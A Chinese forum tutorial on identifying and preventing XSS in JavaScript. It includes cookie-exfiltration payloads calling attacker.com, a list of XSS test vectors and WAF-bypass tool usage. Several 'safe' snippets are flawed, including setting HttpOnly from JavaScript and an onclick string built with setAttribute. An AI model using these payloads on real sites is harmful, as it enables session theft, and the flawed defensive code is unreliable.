简体中文 繁體中文 English 日本語 Deutsch 한국 사람 بالعربية TÜRKÇE português คนไทย Français

站内搜索

搜索

活动公告

11-02 12:46
10-23 09:32
通知:本站资源由网友上传分享,如有违规等问题请到版务模块进行投诉,将及时处理!
10-23 09:31
10-23 09:28
通知:签到时间调整为每日4:00(东八区)
10-23 09:26

前端安全必修课JavaScript中的XSS漏洞识别与防护技巧

3万

主题

349

科技点

3万

积分

大区版主

木柜子打湿

积分
31898

三倍冰淇淋无人之境【一阶】财Doro小樱(小丑装)立华奏以外的星空【二阶】⑨的冰沙

发表于 2025-9-19 13:20:00 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
在当今互联网时代,前端安全问题日益突出,其中跨站脚本攻击(Cross-Site Scripting,简称XSS)是最常见的安全威胁之一。XSS攻击可以让攻击者在受害者的浏览器中执行恶意脚本,从而窃取用户信息、会话cookie,甚至控制用户账户。根据OWASP(开放式Web应用程序安全项目)的报告,XSS常年位列Web应用安全风险前十名。因此,对于前端开发者来说,掌握XSS漏洞的识别与防护技巧是必不可少的安全必修课。

XSS漏洞的基本概念

什么是XSS

XSS(Cross-Site Scripting)是一种代码注入攻击,攻击者通过在目标网站中注入恶意脚本,使得当用户访问被注入的页面时,恶意脚本会在用户的浏览器中执行。由于这些脚本来自受信任的网站,浏览器会赋予它们访问页面数据的权限,如cookies、会话token等敏感信息。

XSS的类型

XSS攻击主要分为三种类型:

存储型XSS是最危险的一种XSS形式。攻击者将恶意代码提交到目标网站的数据库中,当其他用户访问包含这些恶意代码的页面时,恶意代码会在他们的浏览器中执行。

示例场景:
一个网站的评论区没有对用户输入进行适当的过滤,攻击者可以提交包含恶意脚本的评论:
  1. <script>
  2.   // 窃取用户cookie并发送到攻击者服务器
  3.   fetch('https://attacker.com/steal?cookie=' + document.cookie);
  4. </script>
复制代码

当其他用户访问这个评论页面时,他们的cookie会被发送到攻击者的服务器。

反射型XSS中,恶意脚本是通过URL参数传递的,服务器接收到请求后,将恶意脚本反射给用户的浏览器执行。这种攻击通常需要诱骗用户点击特制的链接。

示例场景:
一个网站的搜索功能将用户的搜索词直接显示在页面上,没有进行适当的过滤:
  1. https://example.com/search?query=<script>alert('XSS')</script>
复制代码

当用户点击这个链接时,服务器会返回包含恶意脚本的页面,导致脚本在用户浏览器中执行。

DOM型XSS是一种特殊的XSS形式,恶意代码的执行完全在客户端完成,不涉及服务器。攻击利用了JavaScript对DOM(文档对象模型)的操作,通过修改页面的DOM结构来执行恶意代码。

示例场景:
一个网页使用JavaScript从URL参数中读取数据并直接写入页面:
  1. // 从URL中获取name参数并写入页面
  2. const name = new URLSearchParams(window.location.search).get('name');
  3. document.getElementById('welcome').innerHTML = 'Welcome ' + name;
复制代码

攻击者可以构造如下URL:
  1. https://example.com/welcome?name=<img src=x onerror=alert('XSS')>
复制代码

当用户访问这个URL时,恶意代码会在浏览器中执行。

XSS漏洞的识别方法

1. 手动测试

手动测试是识别XSS漏洞的基本方法,通过在输入点插入各种XSS测试向量,观察应用程序的反应。

1. 基本脚本标签:
  1. <script>alert('XSS')</script>
复制代码

1. 图片标签事件处理器:
  1. <img src=x onerror=alert('XSS')>
复制代码

1. SVG标签:
  1. <svg onload=alert('XSS')>
复制代码

1. iframe标签:
  1. <iframe onload=alert('XSS')>
复制代码

1. 输入事件:
  1. <input onfocus=alert('XSS') autofocus>
复制代码

1. 链接标签:
  1. <a href="javascript:alert('XSS')">Click me</a>
复制代码

1. CSS表达式:
  1. <style>body{background:expression(alert('XSS'))}</style>
复制代码

1. 识别输入点:找出应用程序中所有接受用户输入的地方,如表单字段、URL参数、HTTP头部等。
2. 注入测试向量:在每个输入点插入各种测试向量。
3. 观察反应:检查应用程序是否正确处理了输入,是否执行了注入的代码。
4. 分析上下文:根据输入在页面中的上下文(HTML属性、JavaScript代码、CSS等)调整测试向量。

2. 自动化工具

自动化工具可以帮助快速发现XSS漏洞,以下是一些常用的工具:

OWASP ZAP(Zed Attack Proxy)是一个开源的Web应用安全扫描器,可以自动发现XSS漏洞。

使用示例:
  1. # 安装OWASP ZAP
  2. brew install zaproxy
  3. # 启动ZAP并扫描目标网站
  4. zap.sh -cmd -quickurl https://example.com -quickprogress -quickout /path/to/report.html
复制代码

Burp Suite是一个流行的Web应用安全测试平台,提供了强大的XSS扫描功能。

使用示例:

1. 配置浏览器代理,通过Burp Suite代理流量。
2. 浏览目标网站,让Burp Suite自动爬取页面。
3. 使用Scanner功能执行主动扫描,检测XSS漏洞。

XSStrike是一个先进的XSS检测工具,能够绕过许多过滤器和WAF(Web应用防火墙)。

使用示例:
  1. # 安装XSStrike
  2. git clone https://github.com/s0md3v/XSStrike.git
  3. cd XSStrike
  4. pip install -r requirements.txt
  5. # 扫描目标URL
  6. python xsstrike.py -u "https://example.com/search?query=test"
复制代码

3. 代码审计

代码审计是通过检查源代码来发现潜在的安全漏洞,包括XSS漏洞。

1. 用户输入处理:检查所有接受用户输入的地方,看是否进行了适当的过滤和编码。
2. 动态内容生成:检查将用户输入嵌入到HTML、JavaScript或CSS中的代码。
3. DOM操作:检查直接操作DOM的JavaScript代码,特别是使用innerHTML、outerHTML等方法的地方。

不安全的代码示例:
  1. // 直接将用户输入写入DOM,易受XSS攻击
  2. function displayComment(comment) {
  3.   document.getElementById('comments').innerHTML = comment;
  4. }
复制代码

安全的代码示例:
  1. // 使用textContent代替innerHTML,防止XSS攻击
  2. function displayComment(comment) {
  3.   document.getElementById('comments').textContent = comment;
  4. }
复制代码

或者使用适当的编码:
  1. // 使用DOMPurify库进行HTML净化
  2. function displayComment(comment) {
  3.   const cleanComment = DOMPurify.sanitize(comment);
  4.   document.getElementById('comments').innerHTML = cleanComment;
  5. }
复制代码

XSS漏洞的防护技巧

1. 输入验证与过滤

输入验证是防御XSS的第一道防线,通过验证用户输入是否符合预期的格式,可以阻止许多恶意输入。

1. 白名单验证:只允许符合特定格式的输入通过。
  1. // 验证用户名只包含字母和数字
  2. function validateUsername(username) {
  3.   const regex = /^[a-zA-Z0-9]+$/;
  4.   return regex.test(username);
  5. }
复制代码

1. 黑名单过滤:过滤已知的恶意字符和模式(不如白名单安全,但有时更实用)。
  1. // 过滤常见的XSS字符
  2. function filterXSS(input) {
  3.   return input
  4.     .replace(/</g, '&lt;')
  5.     .replace(/>/g, '&gt;')
  6.     .replace(/"/g, '&quot;')
  7.     .replace(/'/g, '&#x27;')
  8.     .replace(/\//g, '&#x2F;');
  9. }
复制代码

2. 输出编码

输出编码是防御XSS的核心策略,通过将特殊字符转换为HTML实体,可以确保浏览器将它们作为数据显示,而不是作为代码执行。

1. HTML上下文:将特殊字符转换为HTML实体。
  1. // HTML编码函数
  2. function encodeHTML(str) {
  3.   return str
  4.     .replace(/&/g, '&amp;')
  5.     .replace(/</g, '&lt;')
  6.     .replace(/>/g, '&gt;')
  7.     .replace(/"/g, '&quot;')
  8.     .replace(/'/g, '&#39;');
  9. }
  10. // 使用示例
  11. const userInput = '<script>alert("XSS")</script>';
  12. const safeOutput = encodeHTML(userInput);
  13. document.getElementById('output').innerHTML = safeOutput;
复制代码

1. JavaScript上下文:对插入到JavaScript代码中的数据进行编码。
  1. // JavaScript编码函数
  2. function encodeJS(str) {
  3.   return str
  4.     .replace(/\\/g, '\\\\')
  5.     .replace(/'/g, '\\\'')
  6.     .replace(/"/g, '\"')
  7.     .replace(/</g, '\\x3C')
  8.     .replace(/>/g, '\\x3E')
  9.     .replace(/\//g, '\\x2F')
  10.     .replace(/\n/g, '\\n')
  11.     .replace(/\r/g, '\\r');
  12. }
  13. // 使用示例
  14. const userInput = '"; alert("XSS"); //';
  15. const safeOutput = encodeJS(userInput);
  16. const script = `var data = "${safeOutput}";`;
复制代码

1. URL上下文:对URL参数进行编码。
  1. // URL编码函数
  2. function encodeURL(str) {
  3.   return encodeURIComponent(str).replace(/[!'()*]/g, function(c) {
  4.     return '%' + c.charCodeAt(0).toString(16);
  5.   });
  6. }
  7. // 使用示例
  8. const userInput = 'javascript:alert("XSS")';
  9. const safeURL = 'https://example.com/search?query=' + encodeURL(userInput);
复制代码

1. CSS上下文:对插入到CSS中的数据进行编码。
  1. // CSS编码函数
  2. function encodeCSS(str) {
  3.   let result = '';
  4.   for (let i = 0; i < str.length; i++) {
  5.     const char = str.charAt(i);
  6.     const code = char.charCodeAt(0);
  7.     if (code < 0x20 || code > 0x7E) {
  8.       result += '\\' + code.toString(16) + ' ';
  9.     } else {
  10.       result += char;
  11.     }
  12.   }
  13.   return result;
  14. }
  15. // 使用示例
  16. const userInput = 'expression(alert("XSS"))';
  17. const safeStyle = 'background: ' + encodeCSS(userInput) + ';';
复制代码

3. 使用安全的API

避免使用不安全的API,如innerHTML、outerHTML等,转而使用更安全的替代方案。

1. 使用textContent代替innerHTML:
  1. // 不安全
  2. element.innerHTML = userInput;
  3. // 安全
  4. element.textContent = userInput;
复制代码

1. 使用setAttribute代替直接设置事件处理器:
  1. // 不安全
  2. element.onclick = function() { eval(userInput); };
  3. // 安全
  4. element.setAttribute('onclick', 'safeFunction("' + encodeHTML(userInput) + '")');
复制代码

1. 使用安全的模板引擎:
  1. // 使用安全的模板引擎,如Mustache.js
  2. const template = '{{#safeOutput}}{{userInput}}{{/safeOutput}}';
  3. const output = Mustache.render(template, {
  4.   userInput: '<script>alert("XSS")</script>',
  5.   safeOutput: function() {
  6.     return function(text, render) {
  7.       return encodeHTML(render(text));
  8.     };
  9.   }
  10. });
复制代码

4. 内容安全策略(CSP)

内容安全策略(Content Security Policy,CSP)是一种额外的安全层,用于检测和缓解某些类型的攻击,包括XSS和数据注入攻击。

1. 通过HTTP头设置CSP:
  1. Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'
复制代码

1. 通过HTML meta标签设置CSP:
  1. <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'">
复制代码

• default-src 'self':默认策略,只允许加载同源资源。
• script-src 'self' https://trusted.cdn.com:只允许加载同源和指定CDN的脚本。
• object-src 'none':禁止加载object、embed等标签。
• style-src 'self' 'unsafe-inline':允许同源和内联样式。
• img-src 'self' data::允许同源和data:协议的图片。

5. 使用X-XSS-Protection头

X-XSS-Protection头是一个旧的安全特性,可以在现代浏览器中启用内置的XSS过滤器。
  1. X-XSS-Protection: 1; mode=block
复制代码

6. 使用HttpOnly和Secure标志设置Cookie

通过设置HttpOnly和Secure标志,可以防止XSS攻击窃取cookie。
  1. // 设置安全的cookie
  2. document.cookie = "sessionId=abc123; path=/; domain=example.com; HttpOnly; Secure; SameSite=Strict";
复制代码

• HttpOnly:防止JavaScript访问cookie。
• Secure:只通过HTTPS连接发送cookie。
• SameSite=Strict:防止跨站请求发送cookie。

7. 使用安全的框架和库

现代前端框架如React、Vue.js和Angular内置了XSS防护机制,使用这些框架可以大大降低XSS风险。
  1. // React自动对输出进行编码,防止XSS
  2. function UserInput({ input }) {
  3.   return <div>{input}</div>;
  4. }
  5. // 使用dangerouslySetInnerHTML时需要特别小心
  6. function UserInput({ input }) {
  7.   return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(input) }} />;
  8. }
复制代码
  1. <!-- Vue默认对插值进行编码 -->
  2. <template>
  3.   <div>{{ userInput }}</div>
  4. </template>
  5. <!-- 使用v-html时需要特别小心 -->
  6. <template>
  7.   <div v-html="sanitizedInput"></div>
  8. </template>
  9. <script>
  10. import DOMPurify from 'dompurify';
  11. export default {
  12.   data() {
  13.     return {
  14.       userInput: '<script>alert("XSS")</script>',
  15.       sanitizedInput: ''
  16.     };
  17.   },
  18.   created() {
  19.     this.sanitizedInput = DOMPurify.sanitize(this.userInput);
  20.   }
  21. };
  22. </script>
复制代码

8. 使用DOMPurify进行HTML净化

DOMPurify是一个专门用于净化HTML的库,可以移除危险代码,保留安全内容。
  1. // 安装DOMPurify
  2. npm install dompurify
  3. // 使用DOMPurify
  4. import DOMPurify from 'dompurify';
  5. const dirty = '<img src=x onerror=alert("XSS")>';
  6. const clean = DOMPurify.sanitize(dirty);
  7. // clean现在是安全的HTML: <img src="x">
  8. document.getElementById('output').innerHTML = clean;
复制代码

实际案例分析

案例1:社交媒体平台的XSS漏洞

某社交媒体平台允许用户在个人简介中使用HTML标签,但过滤不严格,导致存储型XSS漏洞。
  1. <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
复制代码

平台使用黑名单过滤,只过滤了<script>标签,但没有过滤其他标签的事件处理器,如onerror、onload等。

1. 使用白名单过滤,只允许特定的HTML标签和属性。
2. 使用DOMPurify等库进行HTML净化。
3. 实施CSP,限制内联脚本的执行。
  1. // 使用DOMPurify净化用户输入
  2. import DOMPurify from 'dompurify';
  3. function sanitizeUserInput(input) {
  4.   // 配置DOMPurify,只允许特定的标签和属性
  5.   DOMPurify.addHook('uponSanitizeAttribute', function(node, data) {
  6.     // 只允许特定的属性
  7.     const allowedAttributes = ['href', 'src', 'alt', 'title', 'class'];
  8.     if (!allowedAttributes.includes(data.attrName)) {
  9.       data.keepAttr = false;
  10.     }
  11.    
  12.     // 对href和src属性进行额外检查
  13.     if (data.attrName === 'href' || data.attrName === 'src') {
  14.       // 不允许javascript:协议
  15.       if (data.attrValue.startsWith('javascript:')) {
  16.         data.keepAttr = false;
  17.       }
  18.     }
  19.   });
  20.   
  21.   return DOMPurify.sanitize(input, {
  22.     ALLOWED_TAGS: ['b', 'i', 'u', 'a', 'img', 'p', 'br', 'ul', 'ol', 'li']
  23.   });
  24. }
  25. // 使用示例
  26. const userInput = '<img src=x onerror="alert(\'XSS\')">';
  27. const cleanInput = sanitizeUserInput(userInput);
  28. document.getElementById('profile').innerHTML = cleanInput;
复制代码

案例2:搜索功能的反射型XSS漏洞

某电商网站的搜索功能将用户的搜索词直接显示在页面上,没有进行适当的编码,导致反射型XSS漏洞。
  1. https://example.com/search?query=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
复制代码

后端代码直接将用户输入嵌入到HTML中,没有进行HTML编码。

1. 对所有用户输入进行HTML编码。
2. 使用安全的模板引擎。
3. 实施X-XSS-Protection头。

不安全的后端代码(Node.js示例):
  1. app.get('/search', (req, res) => {
  2.   const query = req.query.query;
  3.   res.send(`<h1>Search results for: ${query}</h1>`);
  4. });
复制代码

安全的后端代码:
  1. const express = require('express');
  2. const app = express();
  3. // HTML编码函数
  4. function encodeHTML(str) {
  5.   return str
  6.     .replace(/&/g, '&amp;')
  7.     .replace(/</g, '&lt;')
  8.     .replace(/>/g, '&gt;')
  9.     .replace(/"/g, '&quot;')
  10.     .replace(/'/g, '&#39;');
  11. }
  12. app.get('/search', (req, res) => {
  13.   const query = req.query.query || '';
  14.   const safeQuery = encodeHTML(query);
  15.   res.send(`<h1>Search results for: ${safeQuery}</h1>`);
  16. });
  17. // 设置安全头
  18. app.use((req, res, next) => {
  19.   res.setHeader('X-XSS-Protection', '1; mode=block');
  20.   res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'");
  21.   next();
  22. });
  23. app.listen(3000, () => {
  24.   console.log('Server running on port 3000');
  25. });
复制代码

案例3:单页应用的DOM型XSS漏洞

某单页应用使用URL哈希路由,从URL哈希中读取参数并直接写入DOM,导致DOM型XSS漏洞。
  1. // 从URL哈希中获取页面名称并显示
  2. function showPage() {
  3.   const pageName = window.location.hash.substring(1);
  4.   document.getElementById('content').innerHTML = 'Loading ' + pageName + '...';
  5. }
  6. window.addEventListener('hashchange', showPage);
  7. showPage();
复制代码
  1. https://example.com/#<img src=x onerror="alert('XSS')">
复制代码

代码直接使用innerHTML将用户输入写入DOM,没有进行任何过滤或编码。

1. 使用textContent代替innerHTML。
2. 对用户输入进行HTML编码。
3. 使用安全的DOM操作方法。
  1. // 安全的DOM操作
  2. function showPage() {
  3.   const pageName = window.location.hash.substring(1);
  4.   
  5.   // 方法1:使用textContent
  6.   const contentElement = document.getElementById('content');
  7.   contentElement.textContent = 'Loading ' + pageName + '...';
  8.   
  9.   // 方法2:如果必须使用innerHTML,先进行编码
  10.   // const safePageName = encodeHTML(pageName);
  11.   // contentElement.innerHTML = 'Loading ' + safePageName + '...';
  12. }
  13. // HTML编码函数
  14. function encodeHTML(str) {
  15.   return str
  16.     .replace(/&/g, '&amp;')
  17.     .replace(/</g, '&lt;')
  18.     .replace(/>/g, '&gt;')
  19.     .replace(/"/g, '&quot;')
  20.     .replace(/'/g, '&#39;');
  21. }
  22. window.addEventListener('hashchange', showPage);
  23. showPage();
复制代码

最佳实践和工具推荐

最佳实践

1. 永远不要信任用户输入:将所有用户输入视为潜在的安全威胁。
2. 实施深度防御:使用多层安全措施,如输入验证、输出编码、CSP等。
3. 最小权限原则:限制脚本的执行权限,使用CSP控制资源加载。
4. 定期安全审计:定期进行代码审计和安全测试,及时发现和修复漏洞。
5. 保持更新:及时更新框架、库和依赖,修复已知的安全漏洞。
6. 安全培训:对开发团队进行安全培训,提高安全意识。

工具推荐

• OWASP ZAP:开源的Web应用安全扫描器。
• Burp Suite:功能强大的Web应用安全测试平台。
• Acunetix:自动化的Web应用安全扫描器。
• Netsparker:自动化的Web应用安全扫描器。

• ESLint:JavaScript代码检查工具,可以配置安全规则。
• SonarQube:代码质量管理平台,包括安全漏洞检测。
• CodeQL:语义代码分析引擎,可以检测安全漏洞。

• DOMPurify:HTML净化库,可以移除危险代码。
• js-xss:XSS过滤库,可以过滤用户输入。
• helmet:Express.js中间件,设置各种安全相关的HTTP头。

• React:内置XSS防护的前端框架。
• Vue.js:内置XSS防护的前端框架。
• Angular:内置XSS防护的前端框架。

总结

XSS漏洞是Web应用中最常见的安全威胁之一,但通过正确的方法和工具,我们可以有效地识别和防护XSS攻击。本文详细介绍了XSS的基本概念、类型、识别方法和防护技巧,并通过实际案例说明了如何修复XSS漏洞。

作为前端开发者,我们应该始终保持安全意识,将安全作为开发过程的一部分,而不是事后才考虑。通过实施输入验证、输出编码、使用安全的API、配置CSP等措施,我们可以大大降低XSS风险,保护用户的数据安全。

记住,安全是一个持续的过程,不是一次性的任务。随着新的攻击技术和防御方法的出现,我们需要不断学习和更新我们的知识,以应对不断变化的安全威胁。

通过掌握本文介绍的XSS漏洞识别与防护技巧,你可以为自己的Web应用构建一道坚实的安全防线,保护用户免受XSS攻击的威胁。安全无小事,让我们共同努力,创建一个更安全的网络环境。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

频道订阅

频道订阅

加入社群

加入社群

联系我们|TG频道|RSS

Powered by Pixtech

© 2025 Pixtech Team.